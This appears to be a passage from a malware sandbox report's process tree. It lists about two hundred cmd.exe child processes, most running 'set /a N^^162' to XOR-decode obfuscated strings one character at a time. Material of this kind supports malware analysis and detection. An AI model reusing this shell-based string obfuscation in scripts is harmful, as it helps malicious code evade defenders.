  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 227^^162"
      4⤵
      PID:2428
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2800
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:1980
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 253^^162"
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:1480
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 238^^162"
      4⤵
      PID:1864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2144
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 193^^162"
      4⤵
      PID:2904
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:1660
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:736
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2264
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2576
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2408
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:2812
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:1860
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:2248
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:3052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1776
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:2008
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:2704
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 228^^162"
      4⤵
      PID:268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:792
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 192^^162"
      4⤵
      PID:932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:604
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:1804
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2512
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2316
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2092
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:1972
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1552
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1336
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2804
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 154^^162"
      4⤵
      PID:2964
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:1812
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 249^^162"
      4⤵
      PID:3064
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 143^^162"
      4⤵
      PID:296
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 147^^162"
      4⤵
      PID:2496
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 255^^162"
      4⤵
      PID:660
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:1680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 231^^162"
      4⤵
      PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 211^^162"
      4⤵
      PID:2600
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:2344
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2228
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:2492
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:2268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2552
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:876
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2172
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2132
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1540
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 147^^162"
      4⤵
      PID:2328
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 154^^162"
      4⤵
      PID:2660
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 151^^162"
      4⤵
      PID:2532
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 146^^162"
      4⤵
      PID:1816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:1368
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 223^^162"
      4⤵
      PID:1800
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:1472
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:2616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 229^^162"
      4⤵
      PID:1560
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2796
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2944
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 246^^162"
      4⤵
      PID:2184
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:2480
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:1532
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2540
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:1272
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:1584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2712
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2780
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:1488
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2004
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:2524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 147^^162"
      4⤵
      PID:1664
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 154^^162"
      4⤵
      PID:2896
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 151^^162"
      4⤵
      PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 147^^162"
      4⤵
      PID:1636
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:1856
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:1000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 236^^162"
      4⤵
      PID:2084
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:988
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 202^^162"
      4⤵
      PID:936
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1656
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 202^^162"
      4⤵
      PID:2956
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:1048
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1924
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1028
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1720
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:548
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:3040
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 159^^162"
      4⤵
      PID:1668
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:2584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:2112
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:2080
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1772
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 196^^162"
      4⤵
      PID:900
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2988
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:3056
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1112
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:472
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:516
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 229^^162"
      4⤵
      PID:1764
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2340
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1288
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:2000
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1496
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2860
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 202^^162"
      4⤵
      PID:2992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:1612
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 198^^162"
      4⤵
      PID:2544
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:272
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:1596
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:1420
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2012
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2216
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2296
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1852
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1724
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 147^^162"
      4⤵
      PID:2092
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 154^^162"
      4⤵
      PID:2396
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 151^^162"
      4⤵
      PID:2496
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 144^^162"
      4⤵
      PID:2964
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:2264
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:1552
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 249^^162"
      4⤵
      PID:1660
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 246^^162"
      4⤵
      PID:1644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:2812
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:1784
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 249^^162"
      4⤵
      PID:2576
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 255^^162"
      4⤵
      PID:932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 255^^162"
      4⤵
      PID:3052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 226^^162"
      4⤵
      PID:2904
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:820
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:2816
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:1236
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2832
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:868
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2064
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1992
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 147^^162"
      4⤵
      PID:2840
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 154^^162"
      4⤵
      PID:1932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 151^^162"
      4⤵
      PID:2580
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 145^^162"
      4⤵
      PID:2244
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:2320
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:396
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:2948
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 239^^162"
      4⤵
      PID:2260
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:976
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2392
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 203^^162"
      4⤵
      PID:2916
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1500
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1100
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 147^^162"
      4⤵
      PID:1240
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 154^^162"
      4⤵
      PID:1300
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 151^^162"
      4⤵
      PID:1572
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 150^^162"
      4⤵
      PID:2872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:1756
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 139^^162"
      4⤵
      PID:2636
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo 16"
      4⤵
      PID:2240
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1344
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:940
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 208^^162"
      4⤵
      PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:1800
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:2712
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 236^^162"
      4⤵
      PID:308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 195^^162"
      4⤵
      PID:2492
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 210^^162"
      4⤵
      PID:2268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 202^^162"
      4⤵
      PID:1636
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:2600
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 202^^162"
      4⤵
      PID:1708
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:2480
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:2796
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2944
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2228
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1276
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 140^^162"
      4⤵
      PID:2484
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 235^^162"
      4⤵
      PID:2436
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2104
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 212^^162"
      4⤵
      PID:1732
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 205^^162"
      4⤵
      PID:2568
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 201^^162"
      4⤵
      PID:2980
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:2852
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:2920
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 134^^162"
      4⤵
      PID:1588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 204^^162"
      4⤵
      PID:2432
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 215^^162"
      4⤵
      PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:1512
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 206^^162"
      4⤵
      PID:584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 142^^162"
      4⤵
      PID:524
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 130^^162"
      4⤵
      PID:2380
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 226^^162"
      4⤵
      PID:960
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 138^^162"
      4⤵
      PID:2024
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 249^^162"
      4⤵
      PID:1688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 241^^162"
      4⤵
      PID:1824
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 219^^162"
      4⤵
      PID:3032
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 209^^162"
      4⤵
      PID:2564
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 214^^162"
      4⤵
      PID:1332
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 199^^162"
      4⤵
      PID:1928
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "set /a 207^^162"
      4⤵
      PID:2748
